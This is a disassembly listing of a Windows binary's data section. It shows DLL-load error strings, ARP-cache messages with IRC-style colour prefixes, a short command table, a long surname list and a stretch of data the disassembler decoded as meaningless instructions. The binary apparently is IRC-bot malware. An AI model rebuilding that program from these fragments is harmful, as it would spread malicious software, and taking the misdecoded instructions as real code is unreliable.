aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o align 10h a_: ; DATA XREF: sub_41036B+252o unicode 0, <.>,0 unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o ; sub_40C2AF+38o aReal db 'real',0 align 4 dd 0 dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r aConst db 'const',0 align 10h dd 1, 40AB19h, 7474656Ch, 7265h, 0 dd 2, 40AB77h, 706D6F63h, 2 dup(0) dd 3, 40ABC4h, 6E756F63h, 797274h, 0 dd 4, 40AC62h, 736Fh, 2 dup(0) dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEEDh off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" ; --------------------------------------------------------------------------- loc_42E3C8: ; CODE XREF: ___:loc_42E3C8j js short loc_42E3C8 inc edx add [esi+edi*8+42h], ch add [eax-2], ah inc edx add [esi+edi*8+42h], dl add [eax-2], cl inc edx add [esi+edi*8], bh inc edx add [esi+edi*8], dh inc edx add [esi+edi*8], ch inc edx add [esi+edi*8], ah inc edx add [esi+edi*8], bl inc edx add [esi+edi*8], dl inc edx add [esi+edi*8], al inc edx add ah, bh std inc edx add al, dh std inc edx add al, ch std inc edx add al, ah std inc edx add al, bl std inc edx add al, dl std inc edx add ah, al std inc edx add [eax-4FFFBD03h], bh std inc edx add [ebp+edi*8-263FFBEh], ah inc edx add [eax-7BFFBD03h], dl std inc edx add [ebp+edi*8+42h], bh add [eax-3], dh inc edx add [ebp+edi*8+42h], ah add [ebp+edi*8+42h], bl add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add ds:0FD280042h[edi*8], dh inc edx add [eax], ah std inc edx add [eax], bl std inc edx add ds:0FD0C0042h[edi*8], dl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski 